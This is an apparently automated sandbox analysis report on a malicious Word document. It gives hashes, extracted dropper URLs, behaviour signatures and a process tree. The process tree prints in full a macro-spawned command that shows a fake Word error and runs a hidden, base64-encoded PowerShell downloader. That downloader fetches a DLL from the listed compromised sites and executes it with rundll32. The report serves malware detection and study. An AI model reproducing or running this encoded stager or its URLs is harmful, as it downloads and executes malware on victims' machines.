Analysis

  • max time kernel
    140s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-01-2021 01:02

General

  • Target

    E3-20210112_2343.doc

  • Size

    157KB

  • MD5

    df66ce237d60ca77253674acb51f9420

  • SHA1

    38e3feb8cf7b573eaaac69213809ea8300199ed8

  • SHA256

    d165beb4c7b032b989d7681e8d08557ed1f8c937a874fc43701aa61efa9e1992

  • SHA512

    f1a337cdc4c73d16176d9c6c6389c2dd78b14e680e028b2199d629938bb826df4182e54a5be72fe05d4f4ae9630cbbe6ff8c9e9590ed1a168344e6e7e3743e3b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://adsavy.com/files/pJ/

exe.dropper

http://bestpopping.com/electric-auger-n0ao3/Emwmeyje76/

exe.dropper

http://replanliving.co.uk/wp-content/microsoft/

exe.dropper

https://rashmimaheshwari.com/content/SIGNUP/

exe.dropper

https://www.infoquick.co.uk/myfriends/Help/

exe.dropper

http://calledtochange.org/CalledtoChange/Systems/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20210112_2343.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:508
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:3808
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:3644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll,ShowDialogA
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3676
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll,ShowDialogA
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:720
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gpsbtxyufjbtb\qawolykyduyi.gkp",ShowDialogA
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:3580

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

      MD5

      175c0b41cdee6048e5cf5237ca6e00a7

      SHA1

      04bf57ce57b5b3cf99bae6d58f74159521fcbc60

      SHA256

      4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

      SHA512

      b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

    • \Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

      MD5

      175c0b41cdee6048e5cf5237ca6e00a7

      SHA1

      04bf57ce57b5b3cf99bae6d58f74159521fcbc60

      SHA256

      4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

      SHA512

      b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

    • memory/508-2-0x00000211416D0000-0x0000021141D07000-memory.dmp

      Filesize

      6.2MB

    • memory/720-10-0x0000000000000000-mapping.dmp

    • memory/3580-12-0x0000000000000000-mapping.dmp

    • memory/3644-3-0x0000000000000000-mapping.dmp

    • memory/3676-8-0x0000000000000000-mapping.dmp

    • memory/3904-4-0x0000000000000000-mapping.dmp

    • memory/3904-5-0x00007FF99BFF0000-0x00007FF99C9DC000-memory.dmp

      Filesize

      9.9MB

    • memory/3904-6-0x000001C9EEE10000-0x000001C9EEE11000-memory.dmp

      Filesize

      4KB

    • memory/3904-7-0x000001C9EF140000-0x000001C9EF141000-memory.dmp

      Filesize

      4KB